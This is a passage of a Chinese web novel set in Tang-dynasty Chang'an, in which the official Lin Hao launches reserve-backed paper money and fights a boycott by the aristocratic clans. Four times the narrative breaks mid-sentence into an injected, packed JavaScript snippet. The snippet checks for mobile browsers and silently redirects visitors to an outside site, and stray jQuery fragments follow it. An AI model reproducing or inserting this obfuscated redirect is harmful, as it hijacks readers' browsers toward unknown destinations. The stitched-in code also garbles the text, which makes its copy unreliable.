长孙无忌声色俱厉的喝问,将房玄龄和杜如晦从最初的技艺震撼中惊醒。
他们脸上的凝重之色更甚。
是啊,技术再精妙,也改变不了它是一张纸的事实。
杜如晦沉声开口:“林监卿,辅机的顾虑,亦是老夫的顾虑。铜钱虽有优劣,但终究是铜,其本身便有价值。而这张纸,说到底,就是一张纸。百姓凭什么相信它能换来粮食,换来布匹?”
房玄龄也点了点头,补充道:“不错。一旦朝廷强行推行,而民间无法兑换成等价的铜钱或实物,那便与强取豪夺无异。林监卿,此风险,大唐冒不起。”
李世民靠在龙椅上,一言不发,只是静静地看着林浩,看他如何应对这几乎无法破解的死局。
然而,林浩脸上没有丝毫慌乱,他甚至还笑了笑:“三位大人的顾虑,臣早已思虑周全。”
“宝钞本身,的确只是一张纸。它的价值,并非来源于纸张本身。”
“那来源于什么?”长孙无忌厉声追问。
林浩猛地抬头,目光直视龙椅上的李世民,一字一顿地说道:“来源于它背后所代表的——朝廷的信用,陛下的权威!”
他话锋一转,看向三位宰相:“更来源于少府监库房里,为它准备的,实实在在的铜钱与白银!”
“臣从未想过要凭空印钱,那是取死之道。臣所设想的宝钞,更像是一种存票,一种凭证!”
“存票?”杜如晦对这个新词很感兴趣。
“正是。”林浩解释道,“臣建议,宝钞发行之初,必须严格遵循一个原则——有多少准备金,才发多少宝钞。”
“何为准备金?”房玄龄问道。
“准备金,便是指朝廷为宝钞专门储备的、用于随时兑换的铜钱与白银!譬如,我们发行一百万贯的宝钞,那么在专
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391675|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门的库房里,就必须储备着价值一百万贯的铜钱和白银!”
林浩的声音陡然拔高,响彻大殿,“任何持有宝钞的百姓或商人,随时可以到官府指定的钱庄,将宝钞兑换成等额的铜钱!一文钱都不会少!”
“就用前日从各大世家追缴回来的那四十万贯,作为第一笔准备金!”
这话一出,三位宰相全都愣住了。
他们原本以为林浩是要用纸片子空手套白狼,搞一出“无本万利”的把戏,却没想到他竟提出这样一个虚实结合、逻辑闭环的法子!
如果真能做到随时、足额兑换,那这张纸,似乎……就真的有了铜钱的价值!
林浩不给他们太多思考的时间,继续抛出自己的方案。
“为确保此事万无一失,臣恳请陛下,成立一个全新的衙门,可命名为‘大唐宝钞务’,独立于三省六部之外,直接对陛下负责!专门掌管宝钞的印制、发行、兑换与监管之权!”
“至于推广,更不必一蹴而就,可由点及面,徐徐图之。”
“第一步,官府先行。下月起,京中百官俸禄、军中将士军饷,半数以宝钞支付。官员将士乃国之基石,由他们率先使用,信用的根基便立下了。”
“第二步,商贾跟进。与长安东、西二市各大商号合作,凡使用宝钞进行大额交易者,朝廷可给予一定的税收优惠。商贾逐利,只要宝钞方便、可靠,他们比谁都乐于接受!”
一套完整的理论,一套严密的监管体系,再加上一套切实可行的推广策略。
从顶层设计到具体执行,林浩描绘出了一幅清晰得令人心惊的蓝图。
甘露殿内,陷入了长久的死寂。
房玄龄和杜如晦眉头紧锁,在脑中飞速推演着方案的每一个细节,越推演,越觉得心惊,越觉得此法……可行!
长孙无忌的脸色则由红转白,再由白转青,难看到了极点。
他发现自己之前准备的那些基于“祖宗之法”“妖术惑众”的攻击,在林浩这套逻辑严密、环环相扣的组合拳面前,显得如此苍白,如此可笑。
“哈哈……哈哈哈哈!”
突然,龙椅上传来一阵畅快淋漓的大笑。
李世民缓缓坐直了身体,他看着殿中那个从容不迫的年轻人,心中翻涌着惊涛骇浪。
他原本以为林浩只是有点小聪明,能搞出些新奇的军械。
可现在他才发现,自己还是小看了他。
这哪里是小聪明,这分明是经天纬地之才!
此子,能为大唐开万世之基业!
笑声止歇,李世民的视线缓缓移开,落在了殿中脸色最难看的那个人身上。
“辅机,你觉得如何?”
第108章:江山,不是靠守着祖宗之法来的
所有人的注意力,都集中到了长孙无忌身上。
这位刚刚从天牢里被提出来,戴罪立功的国舅,此刻一张脸涨成了猪肝色。
他想反驳,可林浩那套环环相扣的方案,就像一个密不透风的铁桶。
准备金制度,解决了信用的根源;
独立衙门,杜绝了滥发;
分步推广,又把风险降到最低。
他准备的所有攻击点,都被对方提前预判,并且用更周密的方案给堵**!
长孙无忌张了张嘴,半晌,才从牙缝里挤出干涩的声音:“陛下……臣……臣依旧认为,此事实在……骇人听闻!”
“祖宗之法,历经千年,自有其道理!”他猛地拔高音量,试图找回气势,“以纸代钱,无异于动摇国本!林监卿的法子听来天衣无缝,可人心隔肚皮!一旦推行有半点差池,引发的**,谁能承担?!”
说到这里,他深深一拜,语气沉痛:“请陛下,为大唐江山社稷计,三思而后行!”
这番话,说得情真意切,却透着一股无力的顽固。
房玄龄与杜如晦对视一眼,神情复杂。他们承认长孙无忌的担忧不无道理,但林浩描绘的前景,那种能将货币发行权从世家手中彻底夺回,一劳永逸解决钱荒与劣币问题的诱惑,实在太大了!
这是足以改变大唐国运的千秋伟业!
龙椅之上,李世民听完,脸上毫无波澜。
他等了许久,才缓缓开口。
“辅机,你说完了?”
长孙无忌一愣,点了点头。
“好。”
李世民从龙椅上站了起来,踱步到大殿中央,“朕的江山,不是靠守着祖宗之法守来的,是一刀一枪,从尸山血海里拼出来的!”
“世家能用铜铁矿脉卡住朕的脖子,能用劣币掏空朕的国库,能让朕的将士连足额的军饷都拿不到!朕为何不能用这纸笔,断了他们的根!”
讲到这里,李世民猛地转身,双目直视林浩。
“林浩!”
“臣在!”
“即日起,成立‘大唐宝钞务’,独立于三省六部,直属御前!专司宝钞印制、发行、兑换、监管之权!”
“宝钞务少监一职,由少府监卿林浩,暂代!”
“前日从世家追缴的四十万贯赃款,全部划拨宝钞务,作为第一笔储备金!朕以大唐国祚、以朕的帝王信誉为这宝钞作保!任何一张宝钞,都可在官府钱庄,足额兑换成等价铜钱!”
一道接着一道的旨意,从李世民口中砸下,每一句都像一声惊雷,在甘露殿内炸响。
房玄龄和杜如晦脸上写满了震撼。
他们想过皇帝会心动,却没想过皇帝会如此果决,如此彻底!
这已经不是支持了,这是将整个大唐的国运,都压在了林浩这个年轻人身上!
长孙无忌更是浑身剧震,面如死灰。
他输了,输得一败涂地。
“至于你,”李世民的视线最后落回到长孙无忌身上,冰冷刺骨,“朕让你出来,是让你戴罪立功,不是让你来给朕添堵的。宝钞之事,你若想不通,就回府里,给朕好好想!想不通,就别再上朝了!”
这话,等同于直接剥夺了他上朝议政的资格。
长孙无忌的身体晃了晃,最终颓然跪倒在地。
“臣……遵旨。”
林浩心中也是波澜起伏,但他面上依旧平静,上前一步,接过内侍递来的圣旨。
“臣,领旨!”
李世民满意地点了点头:“此事干系重大,所有细节,必须严密!宝钞务的人手,由你亲自挑选,印制过程,片纸不得外泄!朕要你尽快,让朕看到第一批真正的大唐宝!”
“臣遵旨!”
……
走出甘露殿时,晨光刺眼。
原来,不知不觉间,他们竟已商议了整整一晚。
长孙无忌步履蹒跚,仿佛一瞬间老了十岁,连背都有些佝偻了。
房玄龄和杜如晦跟在他身后,气氛沉闷。
“辅机,陛下也是为大唐江山……”房玄龄试图劝慰。
“为了江山?”长孙无忌忽然停下脚步,发出一声冷笑,“玄龄,如晦,你们真以为,他林浩能成事?”
杜如晦皱了皱眉:“林浩此子,心思缜密,行事周全,未必不能……”
“周全?”长孙无忌打断了他,声音里带着一股子怨毒,“他这是在悬崖上走钢丝!你们等着瞧吧,宝钞一旦推行,必然受阻!届时,那些被他抄了家的世家,那些被他断了财路的官员,会像闻到血腥味的狼一样扑上来!”
“陛下今日捧他有多高,他日摔下来,就有多惨!我们,等着看戏就是了!”
说完,他再不停留,甩袖而去。
房玄龄和杜如晦对视一眼,皆从对方眼中看到了一丝忧虑。
长孙无忌的话,虽是气话,却并非没有道理。
长安城,要起风了。
风,起得比想象中更快。
仅仅半天功夫,一则流言便在长安城的大街小巷悄然传开。
“听说了吗?少府监那个新来的林大人,要用纸片子当钱使了!”
“纸片子?开什么玩笑!那玩意儿能买米还是能买布?”
“谁说不是呢!听说一张纸,就要当一贯钱用,这不是明抢吗?”
“朝廷是不是没钱了?要拿我们老百姓开刀啊!”
流言蜚语,在酒肆茶楼里发酵,在东、西二市的商铺间传播。
一些穿着体面的世家子弟,更是在大庭广众之下,高声嘲讽。
“哈哈,纸钱?那不是给**烧的玩意儿吗?林大人这是要让咱们活人用阴间的钱?”
“我看他是想钱想疯了!我话放这儿,谁敢拿纸片子来我崔家的铺子买东西,我直接打断他的腿!”
恐慌、质疑、嘲讽……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391676|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各种负面的情绪,迅速在长安城蔓延开来,试图在宝钞还未问世之前,就将其彻底扼杀在摇篮里。
少府监,密室。
墨顿将外面打探到的消息,一五一十地汇报给了林浩,脸上满是忧色。
“老师,现在外面都传疯了!都说您是酷吏,要用纸片子抢老百姓的钱!世家这招釜底抽薪,太毒了!”
张铁山等一众工匠骨干,也是个个义愤填膺。
“监卿大人,要不咱们出去跟他们理论理论!”
“对!咱们造的明明是宝钞,怎么就成了纸钱了!”
“急什么?”
林浩听完,脸上却不见丝毫怒气,反而笑了。
“你们以为,我们真正的敌人是谁?是那些世家?是那些守旧的官员?”
众人面面相觑。
“不。”林浩摇了摇头,拿起一张刚刚雕版完成,还散发着墨香的宝钞样品,“我们真正的敌人,是人心里的恐惧和不信任。”
“各位,我们现在做的,不是简单的印钱。而是在打一场仗,一场争夺人心的仗!”
“世家想让百姓恐惧,我们就给百姓信心!他们想让宝钞变成废纸,我们就让它比金子还硬!”
他将那张宝钞高高举起,烛光下,上面的团花和水印显得神秘而庄重。
“从今天起,这里就是大唐宝钞务的核心!所有人,立誓保密!泄一字者,不光是抄家灭族,更是大唐的千古罪人!”
工匠们被他话语中的气势所感染,胸中热血上涌,齐齐跪倒在地。
“我等,誓死追随监卿大人!万死不辞!”
“好!”
林浩满意地点点头,扶起众人。他走到桌案前,提笔在一张白纸上飞快地写着什么。
片刻后,他将写满字的纸递给墨顿。
“墨顿,这是宝钞兑换点和推广的详细章程,你立刻去找几个信得过、脑子活的工匠,把这个吃透了。”
墨顿接过一看,只见上面密密麻麻写着:
【长安试点:于东、西二市设立官方‘大唐钱庄’,悬挂“足额兑换,信誉为本”金字招牌。】
【首批推广:凡持宝钞于官方钱庄兑换铜钱者,每贯额外增补十文钱,限期一月。】
【大额激励:凡单笔交易超过百贯,使用宝钞结算之商户,当季税收减免半成,限期一年。】
……
一条条,一款款,全都不是强制推行,而是用实实在在的利益去引诱,去撬动人心!
墨顿看得是心潮澎湃,他仿佛已经看到,长安城的百姓和商贾,为了那额外的十文钱和税收减免,争先恐后兑换宝钞的场景。
“老师,您这招……简直是神了!”
林浩却只是淡淡一笑,他走到窗边,看着外面已经暗下来的天色,长安城华灯初上。
“光有利益还不够,要让所有人相信这张纸,我们还需要一场大戏。”
第109章:纸钱当真钱?长安百姓抢疯了!
晨光初照,长安西市。
一块崭新的金漆招牌高高悬挂在临街的门楼上——“大唐钱庄”。
招牌下方,还有一行小字:“足额兑换,信誉为本”。
这家钱庄的门面不大,但装修精致,门口摆着两只威武的石狮子,门楣上还贴着皇帝御赐的黄绫。
围观的百姓越聚越多,但没人敢进去。
“这就是那个要用纸片子当钱的地方?”
“听说里面的纸钱,一张就要当一贯铜钱用!”
“我的天,这不是明抢吗?”
人群中窃窃私语,议论纷纷。
就在这时,几个穿着华贵的年轻人挤了进来。
为首的一个,正是清河崔氏的崔明宇。
他看了看钱庄的招牌,忽然仰天大笑。
“哈哈哈!各位乡亲,你们看看这招牌!大唐钱庄?我看应该叫‘大唐纸庄’才对!”
围观的百姓哄笑起来。
崔明宇越发得意,声音更大了:“我崔某人在长安城混了这么多年,什么稀奇古怪的事没见过?可用纸当钱,这还是头一回!”
“各位想想,纸是什么?那不是给**烧的吗?现在要让咱们活人用,这不是要咱们的命吗?”
人群中立刻有人附和。
“就是就是!纸钱哪能当真钱用!”
“朝廷这是没钱了,想坑咱们老百姓!”
“我家祖祖辈辈都用铜钱,凭什么要改用纸片子!”
崔明宇见煽动成功,更加卖力地表演。
他从怀里掏出一张纸,当众撕得粉碎。
“各位看好了!这就是纸的下场!风一吹就没了,水一泡就烂了!这玩意儿能值钱?我崔某人要是信了这个邪,就把脑袋拧下来当球踢!”
围观的百姓被他这番话说得心里更没底了。
本来就对宝钞半信半疑,现在更是退避三舍。
就在这时,钱庄的门突然开了。
林浩从里面走了出来。
他穿着一身朴素的青色官袍,脸上带着淡淡的笑容。
“哟,这不是崔公子吗?一大早就来给我们钱庄捧场,真是太客气了。”
崔明宇一看到林浩,脸色瞬间变了。
“林浩!你这个酷吏!竟然还敢出来见人!”
“酷吏?”林浩笑了笑,“崔公子这话说得有意思。我只是在做生意而已,怎么就成酷吏了?”
“做生意?”崔明宇冷笑,“你这是在**!用纸片子骗老百姓的血汗钱!”
林浩不紧不慢地说:“崔公子既然这么关心老百姓,不如进来看看我们是怎么做生意的?”
“看就看!我倒要看看你能玩出什么花样!”
崔明宇硬着头皮跟了进去。
围观的百姓也好奇地涌了进来。
钱庄内部装修得很是考究。
正中央摆着一张红木大桌,桌上放着一个精美的木盒。
木盒打开,里面整整齐齐地码着一沓宝钞。
每张宝钞都制作精美,在阳光照射下,水印若隐若现,团花栩栩如生。
林浩拿起一张宝钞,高高举起。
“各位请看,这就是大唐宝钞。不是什么纸钱,更不是纸片子。”
“这上面有水印,有防伪团花,有微缩文字,还有独一无二的编号。这些工艺,就是宫里最顶尖的工匠,也仿制不出来。”
围观的百姓纷纷伸长脖子,想看个仔细。
确实,这宝钞的制作工艺,比他们见过的任何东西都要精美。
但崔明宇还是不服。
“工艺再精美,那也是纸!纸就是纸,怎么可能当钱用?”
林浩笑了笑:“崔公子说得对,纸确实是纸。但这张纸的价值,不在于纸本身,而在于它背后朝廷的信誉。”
“信誉?”崔明宇嗤笑,“空口白牙说信誉,谁信啊?”
“不用空口白牙。”林浩指了指桌子后面,“各位请看。”
众人顺着他的手指看去,只见桌子后面摆着几个大铁箱,箱子都是敞开的,里面装满了白花花的银子和黄澄澄的铜钱。
“这些,就是我们钱庄的储备金。有多少储备金,我们就发多少宝钞。绝不多发一张。”
“而且,任何人拿着宝钞来兑换铜钱,我们都是足额兑换,一文不少。”
说着,他又补充了一句:“不仅足额兑换,为了感谢大家对宝钞的支持,凡是在本月内兑换的,每贯还额外赠送十文钱。”
这话一出,围观的百姓眼睛都亮了。
白给的钱,谁不要?
但还是有人心存疑虑。
“林大人,您说得好听,可万一您拿了我们的宝钞,不给铜钱怎么办?”
林浩正色道:“这位大叔说得有道理。口说无凭,眼见为实。不如咱们现场试试?”
他从木盒里拿出一张面额一贯的宝钞,递给旁边一个钱庄伙计。
“小李,你拿着这张宝钞,去兑换铜钱。”
那个叫小李的伙计接过宝钞,走到铁箱前,开始数铜钱。
一文、两文、三文……
一直数到一千文,整整一贯。
然后,他又额外数了十文。
“一贯零十文,请您收好。”
小李将铜钱递给林浩。
林浩又将铜钱递给刚才提问的那个大叔。
“大叔,您数数看,是不是一文不少?”
大叔接过铜钱,仔细数了一遍,果然是一千零十文。
而且每一文铜钱都是成色极好的官钱,没有一文劣币。
“真的!真的是一贯零十文!”
大叔兴奋地举起铜钱,向围观的人群展示。
人群中立刻炸开了锅。
“真的能兑换!”
“还多给了十文钱!”
“这买卖划算啊!”
崔明宇的脸色变得难看起来。
他没想到林浩真的会足额兑换,而且还多给钱。
但他还是不死心。
“哼!这不过是做给我们看的戏而已!谁知道你们私底下是什么样!”
话音刚落,人群中走出一个老妪。
她颤颤巍巍地走到林浩面前,从怀里掏出一张皱巴巴的宝钞。
“林大人,我家孙子病了,急需用钱抓药。这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391677|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张宝钞,真的能换成铜钱吗?”
林浩看了看她手里的宝钞,正是昨天发放给少府监工匠的工钱。
“当然可以,老人家。小李,给这位奶奶兑换。”
小李接过宝钞,仔细验看了一番,确认无误后,开始数铜钱。
一千零十文铜钱,整整齐齐地摆在桌上。
但小李没有停下,他又从旁边拿了一小袋粮食。
“老人家,这是我们钱庄的一点心意。您孙子病了,需要营养。这袋小米,您拿回去给孙子熬粥喝。”
老妪接过铜钱和粮食,眼中含着泪花。
“好人啊!真是好人啊!”
她转身面向围观的人群,高声说道:“各位乡亲,这宝钞是真的!真的能换成铜钱!而且还多给钱,还送粮食!”
“我活了这么大岁数,从来没见过这么好的事!”
老妪的话,比林浩说一百句都管用。
围观的百姓瞬间沸腾了。
“我也要换!我也要换!”
“快排队!别挤!”
“我有三张宝钞,能换多少铜钱?”
人群蜂拥而上,钱庄门口瞬间排起了长龙。
崔明宇看着这一幕,脸色铁青。
他万万没想到,林浩竟然真的会足额兑换,而且还有这么多额外的好处。
这样下去,宝钞不仅不会被抵制,反而会受到百姓的热烈欢迎!
他赶紧挤出人群,匆匆离去。
必须马上回去禀报家族,重新制定对策!
林浩看着崔明宇狼狈离去的背影,嘴角勾起一抹笑意。
想跟他玩**战?
还嫩了点。
随着第一批兑换的成功,宝钞在长安城的口碑迅速逆转。
不仅钱庄门口排起长队,就连附近的商铺也开始接受宝钞支付。
特别是那些与官府有合作的商户,更是积极响应。
因为他们知道,使用宝钞不仅方便,还能享受税收减免。
到了傍晚,大唐钱庄的第一天营业结束。
墨顿兴奋地跑到林浩面前汇报。
“老师!今天我们一共兑换了八千多贯宝钞!而且有三成的人兑换后,又重新购买了宝钞!”
“还有十几家商户主动找上门来,要求开通宝钞支付业务!”
林浩满意地点点头。
开门红,比预想的还要好。
但他知道,这只是开始。
世家绝不会就此罢休,他们一定会想出更阴险的手段。
“墨顿,传令下去,从明天开始,增设三个兑换点。东市、西市各一个,城南再设一个。”
“另外,派人盯紧各大世家的动向。他们今天吃了亏,明天肯定要报复。”
“是,老师!”
夜深了,林浩独自坐在钱庄里,看着桌上那些已经兑换过的宝钞。
每一张上面,都记录着一个普通百姓对朝廷的信任。
这份信任,重于千金。
他绝不能辜负。
就在这时,门外传来急促的脚步声。
一个黑衣人匆匆走了进来。
“大人,有紧急情报。”
第110章:全城抵制宝钞?正好给你们换血
第二天一大早,天还没亮透,大唐钱庄的门口就已经是人山人海。
队伍从街头排到了街尾,拐了好几个弯。
昨天尝到甜头的老百姓,今天拖家带口,揣着家里积攒的所有铜钱,全都涌了过来。
“快快快!今天再晚点,那十文钱的添头就没了!”
“谁说不是呢!我昨天换了一贯,白得十个大钱,够我家娃吃两串糖葫芦了!”
“我跟你们说,这宝钞可不止是能换钱,西市那几家新开的粮铺,用宝钞买米,一斗还能便宜一文钱!”
人群中,兴奋的议论声此起彼伏。
宝钞,已经不单单是一种能换钱的凭证了。
它成了长安城里最新的“硬通货”,甚至比铜钱还好用!
因为方便,因为有优惠,更因为它代表着一种能跟上潮流的体面。
钱庄的伙计们忙得脚不沾地,储备金的铜钱流水般地换出去,又流水般地被百姓用真金白银买回来。
一进一出之间,宝钞的信用,正以前所未有的速度,深植人心。
与此同时。
清河崔氏的府邸深处,气氛压抑得能滴出水来。
“啪!”
一个上好的青瓷茶杯,被崔氏家主崔仁师狠狠地摔在地上,四分五裂。
“废物!一群废物!”
他须发皆张,通红的眼睛死死盯着堂下跪着的一众管事。
“我让你们去散播谣言,去煽动人心!结果呢?你们把人心煽动到林浩的钱庄门口排队去了?!”
“你们是怎么办事的!”
一个管事战战兢兢地抬起头,声音发颤。
“家主……那林浩的手段,实在太毒了。他……他竟然真的拿出了真金白银来兑换,还、还倒贴钱……”
“他用咱们的四十万贯,来打咱们的脸!长安城的百姓现在都说他林浩是活菩萨,说咱们世家是吸血的恶鬼!”
“够了!”
崔仁师一脚踹翻了身前的案几。
“**?老夫不跟他们玩这些虚的了!”
他喘着粗气,胸口剧烈起伏,眼中闪烁着狠厉的光芒。
“传我的话下去!”
“即刻起,我崔氏旗下所有米铺、粮行、布庄、酒楼、当铺……所有商号,一律拒收宝钞!一文钱的宝钞都不许收!”
“还有,告诉那些依附我们崔家过活的小商户,谁敢收宝钞,就是与我崔氏为敌!断了他们的货源,让他们关门滚蛋!”
“他林浩不是想用宝钞流通天下吗?好啊!我倒要看看,他那纸片子,在长安城里,除了他那几家官办的钱庄,还能买到什么!”
“老夫要让他亲眼看着,他的宝钞,是怎么变成一堆废纸的!”
一张无形的大网,在崔仁师的命令下,迅速张开。
不只是崔氏。
范阳卢氏、荥阳郑氏、太原王氏……
这些盘踞大唐数百年的庞然大物,在同一时间,做出了相同的决定。
他们要动用自己最根本的力量——对实体经济的绝对垄断,来绞杀这个刚刚诞生的新事物。
一场没有硝烟的经济战争,正式打响!
长安东市,最大的粮行“常丰仓”。
一个推着独轮车的汉子,兴冲冲地拿着刚兑换的宝钞跑了进来。
“掌柜的!给我来两石粟米!”
粮行掌柜眼皮都懒得抬一下,拨弄着算盘,冷冷地吐出两个字。
“没空。”
汉子一愣:“掌柜的,我给钱啊!用宝钞!”
掌柜终于抬起头,瞥了他一眼:“宝钞?那是什么东西?本店只收铜钱,没有铜钱,就滚。”
汉子脸涨得通红:“你……你怎么能这样!官府都认的东西,你凭什么不认?”
“凭什么?”掌柜“啪”地一声合上账本,站了起来,居高临下地看着他,“就凭这粮行是我开的!我说不认,就不认!不买就滚,别耽误我做生意!”
同样的一幕,在长安城各个角落不断上演。
“对不住了客官,我们锦绣阁的丝绸,不收宝钞。”
“想在我的酒楼吃饭?可以,拿铜钱来。”
“什么?当东西也想用宝钞?你是不是想钱想疯了!”
仅仅一个上午的时间,长安城仿佛被劈成了两半。
一半是热火朝天,继续接受宝钞,生意兴隆的官方钱庄和少数合作商铺。
另一半,则是占据了市场八成以上的世家商号,他们筑起了一道冰冷的经济壁垒,将所有拿着宝钞的百姓,拒之门外。
恐慌,开始蔓延。
那些早上还兴高采烈兑换了宝钞的百姓,此刻手里攥着那张精美的纸,却发现它买不来米,也买不来布。
“怎么会这样?这宝钞怎么突然就不好使了?”
“完了完了!我把家里所有的钱都换成这玩意儿了!”
“我就说这纸片子不靠谱!这下全砸手里了!”
质疑和恐慌的情绪,如同瘟疫一般,迅速取代了早上的狂热。
宝钞务,气氛凝重。
墨顿一头冲进林浩的书房,脸上全是汗,声音都变了调。
“老师!不好了!世家……世家他们动手了!”
“他们联合起来,旗下所有的商铺,全都拒收宝钞!现在市面上已经乱了,好多百姓都堵在咱们钱庄门口,要求把宝钞换回铜钱!”
张铁山等一众工匠骨干也跟了进来,个个气得满脸通红。
“监卿大人!这帮天杀的!他们这是要釜底抽薪啊!”
“太无耻了!明着玩不过,就来阴的!”
整个房间里,只有一个人,平静得可怕。
林浩正站在一张
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391678|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巨大的长安堪舆图前,手里拿着一支朱砂笔,在上面圈圈画画,对身后的嘈杂充耳不闻。
直到墨顿急得快要跳起来,他才慢悠悠地转过身。
“慌什么?”
林浩放下笔,走到众人面前,“一群养了几百年的肥猪,你突然要去抢他们的猪食槽,他们不拱你,难道还对你摇尾巴吗?”
“他们的反扑,是必然的。甚至,比我预想的,还要晚了一天。”
“老师,您的意思是……”墨顿瞪大了眼睛。
“我的意思?”林浩拿起桌上的一份卷宗,轻轻拍了拍,“他们的每一步,都在我的剧本里。他们以为这是将军,实际上,他们才刚刚走进我为他们布下的陷阱。”
“去,把这份名单上的人,都给我请来。记住,要快,要秘密。”
墨顿接过名单,上面是十几个商户的名字,他一个都不认识。
“老师,这些人是……”
“他们是长安城里,被世家压得喘不过气的人。是想做大生意,却没有门路的人。是野心勃勃,却只能捡些残羹剩饭的人。”
当晚。
长安城南,一处不起眼的茶楼,早已清场。
十几个衣着各异的商人,正襟危坐,神情紧张又带着几分期待。
他们都是长安城里二流、三流的商户,平日里在世家的阴影下艰难求生。
今天被一位神秘的“大人物”秘密约见,每个人心里都七上八下的。
门被推开,林浩走了进来。
没有多余的寒暄,他径直走到主位坐下,目光扫过在场的每一个人。
“各位掌柜的,今天请你们来,只为一件事。”
“想不想,取代崔家,成为长安城最大的粮商?”
“想不想,把卢家的布庄,变成你们的产业?”
“想不想,拿到只有世家才能染指的盐铁专营权?”
所有人都惊得站了起来,难以置信地看着林浩。
这是疯了?
取代世家?
这可是他们连做梦都不敢想的事情!
看着他们震惊的表情,林浩不急不缓地抛出了自己的筹码。
“世家已经对宝钞宣战,他们自以为能掌控市场,掐死我们。”
“但他们忘了,他们抛弃了百姓,就等于抛弃了市场。”
“从明天起,我需要你们,你们所有的店铺,全部开门,全力支持宝钞!你们缺货,我给你们调!你们缺钱,宝钞务给你们无息借贷!你们被人找麻烦,我让金吾卫给你们站岗!”
“世家封锁一道街,你们就给我新开一条街!他们关一家店,你们就给我开十家店!”
说到最后,林浩站起身,双手撑在桌上,身体前倾,“这场仗,你们要是赢了。”
“从此以后,长安城的生意,你们说了算!”
第111章:搞垄断?我让人开店打价格战!
黎明,天光微熹。
往日里寂静的长安城,今日却处处透着诡异的骚动。
东市,西市,乃至各个坊间的街头巷尾,一夜之间,冒出了几十家崭新的铺子。
这些铺子没有雕梁画栋的门脸,招牌甚至是崭新的木板上用墨写就,但每一个都高高悬挂着一面鲜红的旗帜,上面龙飞凤舞地写着一行大字:
“大唐宝钞指定商号!”
旗帜之下,还有更直接的口号。
“宝钞通用,物美价廉!”
“皇帝担保,假一罚十!”
更让所有人心头一震的是,这些新铺子的门口,都有三三两两的金吾卫士兵在巡逻。
他们身披明光铠,手持横刀,目光锐利,不苟言笑。
那冰冷的甲胄和肃杀的气息,无声地宣告着一件事:
这里的生意,是天子在罩着!
“这……这是什么情况?昨晚还没这些铺子啊!”
“你看那家米铺,叫惠民粮仓!招牌都是新的,里面的米堆得跟山一样!”
“不止米铺,布庄、油坊、杂货铺……全都有!这是要干什么?”
百姓们围在街角,议论纷纷,既好奇又不敢上前。
昨天,世家大族联合抵制宝钞,让这张纸瞬间变得烫手。
今天,官府就直接自己下场开店了?
一个挎着篮子的大婶,手里攥着几张宝钞,那是她男人在少府监做工刚发的饷钱。
她犹豫地走到一家新开的“惠民粮仓”门口,探头往里看。
“掌柜的,你这粟米……怎么卖?”
一个看起来精明干练的中年掌柜,满脸堆笑地迎了出来。
“大婶,您来得正好!本店新开张,所有米粮一律九折!用宝钞,再给您抹个零头!”
“您看,市面上最好的粟米,崔家粮行卖十五文一斗,我们这儿,用宝钞,只要十三文!”
一斗米,便宜两文钱!
大婶的眼睛瞬间亮了。
对于普通人家来说,这可不是小数目!
“真……真的?”
“当然是真的!皇帝陛下看着呢,谁敢作假!”掌柜的拍着胸脯保证。
大婶一咬牙,走了进去。
片刻之后,她满脸喜色地提着一袋沉甸甸的米走了出来,篮子里还多了一小把店家送的葱。
“天呐!真的便宜!而且掌柜的态度好得很!”
“我那张宝钞,一点没费劲就用出去了!”
这一幕,就像投入平静湖面的一颗石子。
不,是一块巨石!
人群瞬间骚动起来。
“真的能用!还更便宜!”
“走走走!去看看!”
“我家里昨天换的宝钞正愁没地方花呢!”
就在这时,西市最中心的位置,突然锣鼓喧天!
林浩带着墨顿等人,站在一家规模最大的新粮铺前,他身后,是几十个膀大腰圆的伙计。
林浩拿起一个铁皮喇叭,运足了气,声音传遍了半个西市。
“各位父老乡亲!”
“我是少府监林浩!”
“我知道,昨天,有人不收宝钞,让大家伙儿吃了亏,心里慌!”
“今天,我林浩把话放这儿!谁不收,我收!谁不卖,我卖!”
“为了感谢大家对朝廷的信任,今天,我们就在这儿,举办第一届‘大唐宝钞购物节’!”
